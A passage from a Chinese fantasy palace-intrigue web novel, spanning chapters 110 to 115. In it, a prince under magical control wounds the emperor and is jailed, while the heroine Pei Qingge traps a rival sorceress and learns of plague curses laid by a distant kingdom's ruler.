他的话还没喊完,就被白锦夜一脚踹在胸口倒飞了出去。 白玉衡额上顿时渗出了汗珠,他转头看了一样脸色同样难看的白砺寒,他们之所以敢来,也是吃准了白锦夜不会真的对他们动手,如今他也只能壮着胆子开口,“皇弟,你若是这样,可真就没办法回头了,你不要命了么?你……你也不顾张太妃了么?你想要王府上下的人,全都给你陪葬么?” 白锦夜没有理会他的话,只是拎着剑直直地朝白砺寒走过来。 侍卫纷纷上前阻拦,但又怎么可能拦得住白锦夜? 片刻后,白锦夜就到了白砺寒的面前。 白玉衡想逃,可是他如果把皇上扔在这自己跑了,事后追究起来,他依旧没有好下场。 于是只能硬着头皮往前拦一拦,他的武功就是半吊子,两招不到就被白锦夜一掌打在肩头,他倒退了几步,跌在地上,索性心一横,闭上眼睛装晕了。 白砺寒看着近在咫尺的白锦夜,虽然胆颤,但还是出了声,“你果然存了谋逆之心。” 白锦夜没有说话,只是举着剑,朝白砺寒刺过去。 白砺寒不会武功,只能眼睁睁地看着这一剑刺进了自己的腹部,他盯着白锦夜的眼睛,“你以为杀了朕,你就真的能当皇上么?父皇死前虽然给了你虎符、给了你保命的圣旨,但……父皇也还有另外的圣旨,决不允许你登基,更不允许你摄政。就算你杀了朕,也是白忙活一场……给他人做嫁衣。” 白锦夜眨了眨眼睛,又皱了下眉,意识回笼。 他看着自己不知道什么时候已经站在了白砺寒的面前,又有温热的液体流到自己的手上,他低头去看,才见到自己抓着剑柄,而剑身,已经没入了白砺寒的身体。 他立刻放开手后退了几步,下意识地转头去看,就见到不远处裴清歌的身影。 她伏在房顶,跟他的目光对视了片刻,就迅速的离开了。 是她! 白锦夜的手死死地握成拳头! 第110章 只有她,才有送出虎符的能力! 裴姝也顺着白锦夜的目光看过去,但却什么都没有看到。 可是这一会,显然白锦夜已经从高阶肉尸的状态里恢复了。 裴姝拧着眉,她当年离开的时候,肉尸还是没有思维没有意识的工具,难道现在圣女炼制的肉尸已经可以在人和肉尸之间随意切换了么? 白锦夜收回目光,看向白砺寒,此刻已经完全没什么好解释的了。 就算他和裴姝能撇清关系,但是他在众目睽睽之下,刺杀皇上是事实,任何理由都不可能解释得通这件事。 可是裴清歌为什么要这么做? 这样对她有什么好处? 难道她一直都在谋划这一天么? 白砺寒受了伤,急需回宫治疗,白锦夜又没有再继续反抗,立刻就被梅训庭的人抓起来打入了大牢。 * 两个时辰后,乔装的裴清歌从皇宫里出来。 确实是她找了白玉衡,把前后的事情都告诉了他,只不过说的也并不完全是真相,于是就有了白玉衡之前的猜测。 他也找了人盯着住在府上的裴姝,裴姝今晚一离开衡王府,他就去找了白砺寒,而裴清歌和鬼卿也早就在王府设了圈套,等着她来。 裴姝的术法并没有消失,只不过裴清歌把肃亲王府周围的鬼魂全都遣走了,又控制了裴姝的傀儡。 她只是不想让裴姝在这里动手伤人,其实裴姝想要离开还是能走的,她也没想到裴姝只是简单的尝试了下,就放弃了。 她虽然能控制着白锦夜不会伤到白砺寒的要害,但是如果伤得太轻,那就太假了。 可这样的伤,她也实在不确定宫里的太医能够处理好,于是只能打晕了一个太医,乔装去给白砺寒处理了伤势,确保他没有性命之忧。 不过就算白砺寒不似,那白锦夜疑似勾结西夜国,又刺伤皇上,这样的罪名,他的下场,也可想而知了。 前两日,她就已经趁着子时之后,去改了白锦夜身上的阵法,她若是什么都不做,白锦夜就还是和往常一样,子时失去意识,天亮醒来。 但通过那个阵法,她也可以有一次机会,在子时之外,短暂地控制他片刻。 有这片刻,就已经足够了。 鬼卿侧头看着一脸疲意的裴清歌,开口问道,“接下来呢?” “我刚才看到裴姝被送到了和月如那里,想必她很快就会知道和月如手上的紫莲戒是假的。她要从皇宫里出来并不难,到时候我们把她引到城外的破庙,解决掉她,我们就离开。”裴清歌低声道。 鬼卿张了张嘴,想说什么,但犹豫了会,还是什么都没说。 两个人刚进店里,就见到一脸急吼吼的左辞在大堂里走来走去,“王妃,你赶紧收拾收拾,准备离开京城吧。” 裴清歌微怔了一下,之前因为让琳琅假扮她,所以左辞一直都在王府,她把王府的侍卫带着司空都迷晕了,所以白玉衡和白砺寒的人才能轻易得手,可她确实忘了左辞。 左辞说着也走到她面前,“王府出事了,王爷和司空他们都被抓起来了,今日琳琅非央求着属下帮她去城外军营拿些东西,属下回来的时候,就见他们都被抓起来了,就连昏迷的张太妃都被带走了,不过好在现在他们把琳琅当成了你带走了,你现在走还来得及。” 裴清歌皱起眉头没有说话。 见裴清歌无动于衷,左辞更加着急,“属下听几个侍卫说,好像是王爷意图谋反,刺伤了皇上。当然王爷不可能做这样的事,但是皇上早就想把王爷手里的虎符拿走,有这么好的机会,肯定会大做文章的,这罪名一旦定下来,就是诛九族的大罪!” “属下没办法送王妃走了,他们绝不会留着王爷的人在外面留下隐患,所以若是发现属下不见,肯定会四处寻找。”左辞说着顿了顿,单膝跪下,从怀里摸出一个小盒子递给裴清歌,“王妃,现在只有你能走了,你拿着这个,去月城,找华擎华将军和倪徵倪将军,他们见到这个,一定会设法营救王爷!” “王妃,拜托了!” 裴清歌微微抿了唇,看着左辞手里的锦盒,“这是什么?” “这是虎符。”左辞开口道,“王爷从不把虎符呆在身上,他们发现虎符不在王爷身上,也会很快去王府翻找,所以刚才属下就趁乱拿了出来。王妃……” 他抬头见裴清歌没有动,还以为她不想去,只能继续道,“王妃,你是妻族,裴家、云夫人还有整个云家,都算是妻族,若是王爷真的被定下谋反的罪名,那裴家和云家都是要跟着一起获罪的!” 裴清歌沉默了会,她并不想自己直接动手杀人,反正白砺寒早就觊觎白锦夜手里的虎符,便想着以此做文章。 白锦夜也明知自己活不过今年,大概率没有必要让其他人跟着一起陪葬,只要交出虎符,说不定能换其他人一条生路。 那这一点上,她恐怕是想错了。 她抬手接过锦盒,或许,她可以拿着虎符去找白砺寒,以虎符换取其他人的命。 她想着也打开了锦盒,虎符静静地躺在锦盒里。 在虎符的上面,有一张字条。 上面龙飞凤舞的写着两行字—— 你拿到虎符的时候,本王大概已经死了,你要的东西在月城,到时左辞会告诉你找谁,拿着虎符去换。 言下之意—— 如果她还想要紫莲戒,就不能把虎符交给任何人。 白锦夜早就知道,等他死了以后,所有人都会对虎符虎视眈眈,其他的人,很可能都没办法把虎符安全的送到月城。 只有她,才有送出虎符的能力。 而月城的人拿到了虎符,就会对京城构成威胁,这样白砺寒也就不能轻易地动白锦夜留在京中的这些人。 裴清歌眯了眯眼,白锦夜早就安排好了! 不过若是白锦夜真的死了,她可能就只是拿着虎符换了紫莲戒。 可如今,知道紫莲戒在哪,到底用虎符去换什么,那也是她说了算了。 她合上锦盒,“好,我去,但我到月城,月城的人安排营救,也需要时间。” “这一点王妃放心,王爷总有办法跟皇上周旋半个月一个月的。”左辞一听也放下心来,“那就全靠王妃了!” 第111章 我不想被任何人摆布我的人生 左辞离开后,裴清歌把虎符拿出来,在手上把玩着。 等解决完裴姝的事,她可以先去趟月城,想办法拿到紫莲戒,之后再以虎符跟白砺寒讲条件就是了。 鬼卿看着她手上的虎符,纠结了,终于还是问出口,“师父,把紫莲戒,交给他,让你重生,在王府,一定,别有用意。” “是。”裴清歌点点头,“她在那块虚空玉里给我留了段话,她让我不要再回北冥国,也不要找她。可是她要做的事情,实在太危险,我总不能袖手旁观。” 她说着收起虎符,看向鬼卿,“她可能希望我顶着这个身份活下去,让我和过去完全割裂开。可是根本不可能啊,如果现在仍旧是原来的裴清歌,在王府恐怕活不过一天。我不和过去割裂开,就迟早会有人发现我的身份,到时又该如何呢?” “鬼卿,我学了一身本事,并不想当个平庸的人活着,我也该有我自己的使命,有我应该做的事情。就像我从来不会控制你一样,我也不想被任何人摆布我的人生,你明白么?” 鬼卿微微叹了口气,“希望这次,别有,无辜的人,丧命。” * 左辞躲着人离开了普宁街,找了个角落,一直躲到了天亮,才大摇大摆地走向王府,刚到王府大门,立刻就被人抓起来,扔进了天牢。 被推进牢房的时候,他还没忍住骂了牢头两句,“老子会走,推什么推?等老子出去了看老子不打得你亲娘都不认识你!” 牢头没理会左辞,毕竟肃亲王入狱的原因可没有任何隐瞒,大家都知道他是因为意图谋反,这种事都做了,还想出去?真是想瞎了心。所以他也根本不愿意跟这些将死之人一般见识,多说句话他都觉得晦气。 隔壁牢房的白锦夜正盘膝而坐,看到左辞被送进来,微微皱了下眉头。 左辞走到栅栏边,双手扶着栏杆,看着白锦夜低声道,“王爷放心,属下已经把……”他说着用口型做了“虎符”两个字,然后继续道,“从书房拿出来了,给属下的表弟送过去了,她答应了会把那个送走。” 听了他的话,白锦夜的眉头拧得更紧,“你既然没被抓起来,怎么不自己去送?” “哎。”左辞叹了口气,“属下是没立刻被抓起来,但是他们已经在全城搜捕属下了,属下就是逃出去,这一路上肯定也不消停,能不能送出去都不好说。不过王爷放心,我表弟那边安全的很。” “你跟她说了虎符是三部分?”白锦夜又问。 当初他进京的时候,就怕自己进了京难以再出来,所以就把虎符分成了三部分,他自己带了一部分,另外两部分分别给了华擎和倪徵。 三块虎符拼在一起,才能号令大军。 左辞拍了下脑袋,“诶呀,这个忘记了,不过没关系,反正她都要去月城,到了月城,华将军和倪将军自然就会说了。” 白锦夜这才微微松了一口气,隔了会才道,“那你就盼望她真的能去月城吧,你以为王府现在这样是因为谁?你这算是把虎符亲手送给他们了。” 左辞瞪大眼睛看着他,“王……王爷,你什么意思?” “我们都被她算计了。”白锦夜说完,又重新闭上眼睛,像是继续闭目养神了。 左辞半响都没转过来这个弯,好一会才试探地开口问,“王爷,你说她搬出王府,又让琳琅假扮她,一直到现在,都是故意的了?怪不得她今晚和鬼卿出去,属下等了那么久他们才回来。” 他说着顿了下,“可是不对啊,王爷,这样对她有什么好处?难道她也不管云家和裴家了?” “你说她用虎符能不能换裴家和云家一条生路?”白锦夜这一次眼睛都没睁开直接道。 “不能吧。”左辞还是不太相信,“王妃不是那样的人,属下觉得她挺善良的,这些日子在普宁街,可帮了不少人的,那些穷人她都分文不收,有的时候还接济他们,怎么会……” “她是不是善良,跟她是不是要算计王府,一点关系都没有。”白锦夜说着轻轻叹了一口气。 左辞这下也不管大小了,也直接坐在了地上,“可属下还是觉得,她不会置这么多人的生死于不顾。” 这一点像是提醒了白锦夜,他睁开眼睛,看着面前的乱草,所以她只想要他的命么? 可是她想杀他,不是易如反掌?至于兜这么大个圈子么? 再说,她也明知道他活不过年底,只要等一等,她甚至都不用自己动手。 “所以如果她拿了虎符直接去找皇上,皇上也会知道那只是三分之一的虎符,想要找剩下的虎符,就势必要惊动华将军和倪将军。”左辞自己慢慢地盘算着,“只要他们知道了,他们就不会置王爷的安危于不顾的。” “可虎符不合在一起,就难以号令三军,如果此刻有人进攻边境呢?”白锦夜眼里闪过一丝担忧。 左辞一拍地面,“王爷,皇上都这么对咱们了,你还考虑这个,他自己的国家,让他自己想办法守着吧!” * 裴姝一个耳光打在和月如的脸上,“这两年你在天风国,真把自己当主子了么?是忘了我让你来干什么了?” 和月如捂着脸,跪趴到裴姝的的身边,“母后……” 裴姝抬手死死地掐住她的下巴,“不要叫我母后,你不配,你爹娘都是乞丐,你生下来也是做乞丐的,如果不是我给你锦衣玉食的生活,让你做西夜国的公主,你以为你能来天风国做贵妃?” “你以为你能把白砺寒攥在手心,让他眼里只有你?和月如,这些都是我给你的,我给了你这无上的荣耀,可你为什么就不听话呢?” “不是的,主子,你听我解释。”和月如仰头看着裴姝,“裴清歌是早就把紫莲戒给我了,我看到那紫莲戒上都是阵法,本来是想破解这阵法,再一起交给你的,可没想到我学艺不精,这么久了,还是没办法破解那些阵法。” 她说着从袖子里拽出了几张纸,“我把这些阵法拓印下来,每天都在研究,可真的研究不出来。” 裴姝接过这几张纸,眯眼看了看,确实是紫莲戒上的阵法,她一挥手,把纸甩在和月如的脸上,“给我看这个干什么?我要的是紫莲戒!” “是,是。”和月如踉跄地站起来,走到一边的妆奁旁,拉开一格抽屉,拿出紫莲戒,转身双手递到裴姝面前。 裴姝只瞄了一眼,“混账!还敢拿假的骗我?” “假的?”和月如脸色骤变,“可裴清歌给我的就是这个,真的是这个,我不敢欺骗主子!” 裴姝顿了会,把戒指接了过来仔细看了看才说,“谅你也没有本事伪造得这么精细。”说完她又看向和月如,“裴清歌是谁?” 第112章 难道你师父没有告诉过你么? 裴姝出了皇宫的时候,便见到她的傀儡站在不远处,见她出来,就转身往城外走。 她微微皱了下眉,显然他是在这里等着自己。 这是今晚设局的人要见自己了么? 裴姝冷笑一声,就让她看看,这么拆她台的人到底是谁。 她远远地跟着傀儡,之前她确实是没想到天风国会有人术法,而且对鬼卿的实力有错估,根本没想到鬼卿能隐藏气息。 但是现在有了准备,她自然是提起十二分的警惕。 一路到了城外,裴姝停在了一个小山包上,看着前面不远的破庙,这一处她是知道的,这里也是当初她精挑细选的位置,让傀儡没事的时候呆在这里。 这里基本不会有人来,四周又没有什么遮挡,任何人想要靠近,都会被第一时间发现。 没想到她当初找的位置,如今竟成了别人引她入瓮的陷阱。 裴姝看着傀儡进了破庙,迟迟都没有出来,破庙里的人,也似乎根本就不着急。 沉默了半响,她才从山包上下来,每走几步,就点一张符咒,见到没有异状,才继续往前走。 一段短短的路,在她如此谨慎之下,差不多走了半个多时辰,才到了破庙门口。 大概是感觉她到了门口,破庙里面的人也点燃了油灯,不大的破庙里亮了起来。 破庙里,除了傀儡以外,就只有一个人。 她拧了下眉,是他?那个算卦的人? 裴清歌轻轻地拨动着灯芯,开了口,“那日你知道那里是我改动过的阴财地,都敢进去,今天怎么到了你自己选好的破庙,你却不敢进来了?” 裴姝没有说话,这一次点燃了三张符咒,扔进了破庙里面。 符咒在空中打了个圈,落在地上,没一会就烧成了灰。 这庙里竟然什么都没有布置! 裴姝还是不能相信,这人大费周章的做这些事,到了这里,却真的没有设置陷阱么? 裴清歌隔着门看着她,微微勾了勾唇,“就这点胆子,还想拿紫莲戒,还想做圣女?” “激将法对我没用。”裴姝眯眼看着她,“你是谁,到底想要干什么?” “行,你要是不想进来,那我就出去吧,咱们在外面聊也一样。”裴清歌说着就要迈步往外走。 “等一下。”裴姝盯着面前的人,她知道自己会来,应该知道自己会很谨慎的不想进这破庙,所以说不定这破庙里真的什么都没有。 如果换做是她,也会把陷阱设到外面,放在这破庙里,不是太明显了么? 沉默了会,裴姝慢慢地走进了破庙,又谨慎地四处打量了半响,最后才在裴清歌的对面站定。 裴清歌把自己面前的油灯往供桌中间推了推,让油灯偏向了裴姝的那边,然后才开口道,“你既然是从北冥国出来的,就应该知道擅自离国者有什么样的下场,我想这也不用我多说。” “我是什么下场,那也是国君发落,恐怕轮不到你来做主。”裴姝开口道。 “这倒是。”裴清歌点点头,“不过我想知道,十五年前的‘围北之战’,是你谋划的吧?我想不通,你既然想回去做圣女,那又怎么会发动这样的战事?” “你到底是谁?”裴姝又问。 裴清歌没说话,只是从袖子里拿出锁魂玉笛,放在手心上,在裴姝的眼前晃了晃。 “锁魂玉笛?”裴姝震惊地看着她手上的笛子,“不……不对,我在师父那里见过锁魂玉笛,它已经坏了,你怎么会有完好的锁魂玉笛?” “紫莲戒,加上锁魂玉笛,等你回了北冥国,应该可以稳坐圣女的位置了。”裴清歌说着把锁魂玉笛也放在供桌上,“只要你回答我几个问题,这些就都是你的了。” 裴姝皱了下眉,盯着锁魂玉笛半响,隔了会才说,“十五年前,我也是被人骗了。我在北冥国有个内应,他跟我说,只要带兵假意佯攻,他们的人不会抵抗,节节败退后,圣女必然出面,到时候他会在圣女施法的法阵上做手脚,圣女会遭到反噬。然后我借机出面,他的人会拥护我成为圣女。” “可他的人却一直在反抗,两军僵持不下,好在三国之军以数量取胜,最后圣女也的确出了面,但她的法阵也根本就没有被做手脚。我差点就死了,拼了一条命,才破了她的阵法,逃了出来。” “他的人?”裴清歌眸光瑟缩,“是楚云颂?” “你知道他?”裴姝轻笑了一声,“没错,就是楚云颂这个老狐狸。” “那么这些年,也一直都是楚云颂在给你传递北冥国的情报了?”裴清歌继续问。 “那次回去之后,我养伤就养了五年。后来他的人又找上了我,说圣女裴洛失踪,是千载难逢的好机会。我本来也不再相信他,也不想再跟他合作。” “但他一直解释之前的事情有苦衷,我也确实很想回北冥国,所以我本想掳了他儿子做人质。可没想到老狐狸的儿子也是小狐狸,竟被他半路跑了。”说到这个,裴姝还是有些牙痒。 裴清歌挑了挑眉,原来楚星玄是这样落在白锦夜的手上的,那这么说起来,一直和裴姝联系的都是楚云颂。 可上次给裴姝回信的,显然不是楚云颂。 知道鬼卿在天风国,又能故意把裴姝引过来的人,自然就是楚星玄了。 想必楚星玄并不知道他爹的谋划,又或者不赞同他爹的谋划。 怪不得楚星玄的命蛊有反应,大概是楚星玄假传消息的事情被楚云颂知道了。 楚云颂虽然疼爱这个儿子,但是谋划这么久的事情被破坏,估计也是怒气难消。 可是楚云颂又要干什么呢? 思索了会,裴清歌继续问,“你当初就是害怕圣女的最后一项考验,才跑了,后来你在西夜国做皇后,应该是能控制西夜国皇上的,可谓要风得风要雨得雨,你为什么还要回北冥国当圣女?” “做皇后能怎么样?要风得风要雨得雨能怎么样?这些抵得过成仙么?”裴姝看着裴清歌低笑,“要是我没猜错,你就是裴洛那个继任了圣女然后失踪的徒弟吧?难道你师父没有告诉过你,做北冥国圣女,是可以成仙的么?” 第113章 山之一术 裴清歌闻言微微皱起眉头,隔了半响才说,“成仙一事,本就虚无缥缈,更是只在传说里才有,你不会是还相信那些传说吧?” 见裴清歌的反应,裴姝也就猜到她是真的不知道,她像是来了兴趣,“算起来我也是你师叔,今天就替你师父教教你,我问你,玄学五术,山医命相卜,‘山’之一术,你师父都教了你什么?” 也不等裴清歌回答,裴姝就继续道,“无非是修身养性、锻炼身体的秘术,甚至把武功都归到山之一术里面。” “然而实际上,山,其实就是凡人修仙道,确切的说,应该是仙术。” 裴清歌看着她,在圣殿里,她看过很多的典籍,但并没有对此的记载,“如果真的是仙术,那想必也要成为圣女才会知道,可你都不是圣女,你怎么会知道?” 裴姝打量了裴清歌一眼,“你不用怀疑我说这些的真实性,我再问你,你可知道,每一任圣女,最终都去了哪里么?” 裴清歌笑得有点无奈,顺着她的话问道,“都成仙了么?” “她们是不是成仙了我不知道。”裴姝继续道,“我只知道,圣女选出继任圣女后,会继续留守圣殿五年,五年之后,就会去一个叫遁世岛的地方。圣女虽然会学习打坐吐纳,但这些在这里其实用处不大,据说,遁世岛是这世上唯一有仙气的地方了。” 裴清歌倒是在很古老的一本古籍上,见过对遁世岛的描述。 但是也只有短短的几句话,大概就是神话里的海外仙山。 她当时看到也就是掠过,根本没有往心里去。 沉默了会,她才问,“之前,我听天风国的人说,十五年前,是西夜国的使臣找上来,说西夜国有三城被北冥国屠城,之后天风国的月城也被屠城,是真的么?” 裴姝别开眼,看向远处,好一会才说,“不能说是假的吧。” “但我却从没有听说过,不可能是圣女所为,那是楚云颂的人?”裴清歌又问。 裴姝摇了摇头,“是献祭。北冥国与世隔绝,没有战乱,所以曾经也是个繁荣昌盛、人数众多的国家,但很多普通人,都成了献祭的祭品。千百年来,人数逐渐减少,北冥国的人不够了,那自然就要考虑外界的人。” “可既然这样,为什么只在十五年前发生过,之前没有,之后也再都没有?”裴清歌想不通。 “说实话,当年我联合三国,本想以仙术做铒,屠城的事情是个意外,但确实更加直接的促成了这件事。我也不太清楚为什么会停下来,不过我猜测,可能是这样的献祭不被承认。”裴姝开口道。 “献祭给谁?”裴清歌皱眉,“如果是为了修仙,又怎么需要献祭?” “那我就不清楚了。”裴姝道,“你师父什么都没告诉你她就自己失踪了,你这圣女当着确实无趣,不如就留下来,在天风国好好做你的王妃。” 裴清歌的目光从裴姝的身上收回,落在了锁魂玉笛上,“但现在你知道的,我也知道了,不是么?” 裴姝轻笑了一声,“这些算什么?我想还有更多我知道的事,但你依旧是不知道的。” “既然你已经不打算再说了……”裴清歌说着迅速的把桌上的锁魂玉笛拿起来,迈步就要往外面走。 “人可以走,锁魂玉笛留下。”裴姝见状立刻就伸手来抓裴清歌。 一直站在一边的傀儡也突然动了,直直地拦在裴清歌的身后。 裴姝一把抓住了傀儡的肩膀,“不听话的东西,留着无用!”她说着手上使了暗劲,傀儡的身体直接爆裂开。 傀儡的一只手飞出去,正好打翻了供桌上的油灯,油灯熄灭,破庙里就只剩下月光。 裴清歌已经走出了破庙外,转身看着傀儡的碎块落了一地,微微有些犯呕,她后退了一步,“如果我是你,就不会把自己未来要一直呆着的地方搞得这么恶心。” 裴姝一下子没明白裴清歌的话,便要从破庙冲出来抓她,可是冲到了门口,却被一扇无形的门挡住了。 她抬手推了推,有些诧异地看着裴清歌,“你做了什么?” 裴清歌看着她笑了笑,“圣女一门有规矩,同门不得相残。不过千百年来,同时期存在的圣女同门也不会超过两个,又多是师徒关系,这条规矩倒像是可有可无,没想到今天倒是用上了。” “这是一个只能困住一个人的困阵,独活阵,需要有一个活人来做阵胆。刚刚我把自己做成了阵胆,这阵法就只对我自己管用,所以你在外面看不出来,就算进了里面也没有任何感受。但刚才我已经把阵胆转到你身上了,你现在是这阵法的阵胆,自然就出不来了。” “独活阵?”裴姝诧异地看着裴清歌,对此完全没有听过。 “你离开北冥国太久了。”裴清歌叹了口气,“这些年,我们潜心研究术法,确实有不小的进步,就像你见到的鬼卿,肉尸都能进阶如此,况且一些小小的阵法呢?以你现在的能力,好像也确实没办法再回北冥国做圣女了,死心吧。” “我不信。”裴姝摇了摇头,“若是我不来呢?你就一个人一直在里面当阵胆么?你不可能给自己设一个死局。” 裴清歌摊了摊手,“是啊,我当然会留后手,鬼卿不是在外面么?他找个人来换我,我出来把阵法破了,就不可能是死局啊。”她说着朝裴姝的身后看了看,“可惜了,油灯被你打碎了,阵胆换不了了。” “为了防止你害人,一会我会在外面再加个阵法,把整个破庙隐去,外人看到,只会当这是个坟包,没有人会那么喜欢晦气,愿意往一个孤坟旁边凑。你恐怕只能一个人一辈子生活在这破庙里,吃点野草,喝点露水了。” “裴!清!歌!”裴姝咬着牙,想起自己刚走进来的时候,裴清歌就把油灯推向她这一边,那会就已经把阵胆转到她身上了! 裴清歌没理她,转身开始在地上画阵法。 “等一下!”裴姝看着她的背影,“还有些事,我可以告诉你,但是你要放我走!” 第114章 少祀官 裴清歌的手顿了顿,只是说,“你知道的,也不一定就是真相,不过我很快就会回北冥国,到时候事情到底如何,我会自己去探究。” “你找不到答案的!”裴姝赶紧道。 裴清歌的动作依旧没有停下来。 “少祀官!”裴姝又喊了句。 裴清歌这一次才停下来,转身回到了裴姝的面前,“你说什么?” 裴姝赶紧道,“北冥国的秘密,在圣女之上,还有个少祀官。当初最后一关考验之前,少祀官找上了我,是他让我多小心,我才会去偷看。以我的本事,自己一个人也不可能逃出北冥国,也是少祀官帮的我,我知道的遁世岛这些,都是少祀官告诉我的。” 裴清歌眯起眼睛,“少祀官?他为什么要告诉你这些?” “我不知道。”裴姝摇了摇头,“我也问过他,但是他只说他想说的,也不会回答我的任何问题。” “那如今的少祀官是谁?他都负责些什么?”裴清歌继续问。 “从来没有过任何关于少祀官的记载,如果不是他找上我,我也根本不可能知道还有这样一个人。”裴姝说着顿了顿,“你师父失踪,说不定也跟少祀官有关系,他能找上我,把我神不知鬼不觉的送出西夜国,自然也能安排你师父的失踪。” 裴清歌垂眼看着地面,思索了半响,才道,“我可以放你出来,但要先废掉你一身术法,把你关于北冥国的所有记忆都抹掉,你可以回西夜国继续做皇后,也可以找个地方隐居。” “不!”裴姝大喊了一声,“裴清歌,你不能这么对我!” “不是我这样对你,只能怪你学艺不精,你连卦祖都知道,那你来天风国之前,没有给自己起卦好好算算此行是不是顺利么?”裴清歌轻笑一声,“还是成仙的诱惑已经让你迷了眼,连卦象都看不清了?” “你在西夜国,每天面对的都是普通人,你的一丝丝术法,都可以把他们玩得团团传,这些年术法早就没有任何进步了,业精于勤荒于嬉,就当是个教训吧。” “只不过这个教训略微大些,恐怕要用命来作为代价了。” 说完,裴清歌开始继续刚才的阵法。 裴姝看着她的动作,这个阵法她倒是不陌生,就是一个隐阵,只要裴清歌画完,再也不可能有人发现她在这个破庙。 傀儡已经被她亲手打碎了,她更没办法通知游晚星或者和月如。 她咬了咬牙,急道,“裴清歌,你一个人不会是少祀官的对手,他的能力神秘莫测,和国君之间的关系如何,这些我们都不知道,你师父失踪了,你需要一个帮手不是么?” “我为什么要跟少祀官作对?”裴清歌轻笑一声,“他做他的少祀官,我做我的圣女,有什么冲突么?” “不,不。”裴姝拧着眉,像是下了好大的决心,才说,“屠城的事,是国君做的,他在那些城里放了瘟神蜮。当然也不只是那几座城里有瘟神蜮,很多地方都有,只是还没有被放出来,而且每座城里,都有不同的释放瘟神蜮的条件。” “我只知道,那些条件一旦触发,瘟神蜮就会被放出来,然后蔓延整座城。你应该知道,瘟神蜮只要出现,就不可能逆转,一定要整座城的人、牲畜、动物全都死光了,成了一座死城,瘟神蜮才会消失。” 裴清歌微微眯了眯眼,转头看向裴姝,“呵,是少祀官知道了这件事,他放你去西夜国,条件就是让你解决西夜国的瘟神蜮吧?” 裴姝的神色一赧,才承认了下来,“是,他给了我西夜国瘟神蜮的布置图。” 裴清歌的手握成了拳,所以很可能师父失踪,也是被少祀官指派,来天风国解决天风国的瘟神蜮,她才会从月城一路南下,到过洪都。 可能是在洪都解决瘟神蜮的时候,遇到了麻烦,受了重伤。 那么……瘟神蜮会不会跟凝川的树枝有关? 师父之所以让她不要再回北冥国,应该也是知道了北冥国国君做的这些事情,才会说北冥国是人间地狱。 她蓦地想起在鬼卿的记忆里看到的画面。 如果裴姝说的事情是真的,国君真的要献祭人命,又是从北冥国开始的,鬼卿小时生活的地方,可能就是被献祭的地方。 “西夜国还有几处瘟神蜮我没有解决。”顿了顿,裴姝又道,“你放了我,我把布置图给你,那几处我本来是想留着这一次用的,如果不能联合三国,就再来一次北冥国屠城的威胁。” 裴清歌站起身,“如果少祀官知道你这样跟他玩心眼,你说他会怎么处置你?” 裴姝的眼底闪过一抹恐惧,几年前,少祀官就因为她没有完全解决西夜国瘟神蜮的事情找过她一次了,可她更觉得,如果瘟神蜮全都解决,她在少祀官的眼里就没有任何价值了。 到时候知道这么多秘密的人,少祀官还能留着么? “眼下我倒是觉得,应该是你求我去帮你解决那几处瘟神蜮。”裴清歌看着她,“当然,你不给我布置图也没关系,鬼卿对这种事敏感得很,大不了我们费些事,在西夜国多转转,总能找到。十五年了,这些瘟神蜮都没有被释放,应该也不差这几天。” 裴姝死死地咬了咬牙,“裴清歌,你真是跟你的师父一样,让人讨厌。” “知道我和我师父一样,你不还是什么都说了?”裴清歌冷笑一声,“你这样的人,怕死惜命又守不住秘密,也不知道是怎么通过圣女之前那么多考验的。我看少祀官选的对,确实不该让你去参加最后的考验,你就适合做个工具。” 说完,裴清歌的手上就开始捏印诀。 看着她手上的印诀,裴姝的脸色大变,“裴清歌,你今日如此待我,将来绝不会有好下场,我诅咒你,我用我的命诅咒你不得好死!” 裴清歌没有理会她的话,印诀捏完,破庙从眼前消失,连带着裴姝的骂声都一起消失了。 她看着面前的坟包,眉心慢慢地蹙在一起,如果师父在天风国解决瘟神蜮,那么她和鬼卿只要找到一处有瘟神蜮的地方,就能等到师父了。 不过天风国的瘟神蜮有师父解决,西夜国的就麻烦了。 看样子她和鬼卿去月城拿了紫莲戒,就得马上赶去西夜国了。 第115章 月城做都城,好像也不错 第二日一早,肃亲王谋反、刺伤皇上后被抓的事情就传遍了盛京。 皇上没有上朝,据太医院的院判说,皇上的伤很重,几乎就要没命,好在列祖列宗保佑,皇上自己福泽深厚,再加上太医院的太医们妙手回春,暂时才保住了一条命。 至于什么时候能康复,还不好说。 裴靖瑟瑟发抖,觉得今年糟心的事一件接着一件,先是裴玲珑的婚事被裴清歌搅和了,接着云澜闹和离,再然后裴玲珑和孟彦的事情让他的老脸都丢光了,现在肃亲王又意图谋反! 他和云澜和离,但裴清歌也还是姓裴的,这要是真的诛九族,他肯定也跑不了。 虽然现在他还没有入狱,可其他人就连走路都离他远远的,生怕跟他说句话都会被认为是同党。 他刚战战兢兢地回了裴府没一会,就来了一队御林军把裴府包围了,也没说要抓他,只是先把裴家人全都看守起来,防止他们窜逃。 姚氏当场就吓病了,云澜可以跟裴靖提和离,但是她归根到底就只是个妾,哪有自请下堂的权力?她躺在床上恨恨地想,当初云澜和裴靖和离的时候,就该让她带着裴清歌一起走,这样裴清歌就跟裴家再也没有关系,她也不用受牵连了! 此时云府的老宅外,也同样被御林军包围。 云澜的脸色难看,在堂上坐立难安。 “姑姑。”云止想了会,才安慰道,“我觉得肃亲王应该不会做那样的事情,况且现在这御林军只是守在外面,没有抓我们入狱,那罪名应该是还没有确定。只要肃亲王能自证清白,我们也不会有事的。” “自证清白?哪有那么简单啊。”云澜低声道,“只是可怜清歌,才刚刚过了几天好点的日子,又要遭受这种罪。”她说着顿了顿,“皇上应该也会派人去洪都了,爹年纪大了,不知道能不能禁得住这般折腾。” “祖父老当益壮。”云止开口道,“姑姑放心吧,若是皇上真的召祖父进京,未必不是好事,祖父肯定也会想办法帮肃亲王的。” 云澜轻轻叹了口气,没再说话。 “姑姑你是担心……欲加之罪何患无辞。”云止也压低了声音,“可肃亲王既然敢回京,必然就有万全的准备,不会这么被动而无动于衷的。” “但愿吧。”云澜低声念了句佛偈,只望裴清歌能够平安。 皇上“伤重”,查处肃亲王谋反一案的事,就全都交给了白玉衡处理。 白玉衡带着人在肃亲王府翻了足足三天,也没有翻到虎符,于是只能来天牢提审白锦夜。 他坐在那,端着手里的茶,看着站在堂上一脸淡然的白锦夜,丝毫不像是即将大难临头的模样。 他放下茶杯,站起来,走到白锦夜的身边,“皇弟,为兄劝你一句,只要把皇上想要的东西给他了,看在兄弟一场的份上,留你条命,还是没问题的。” 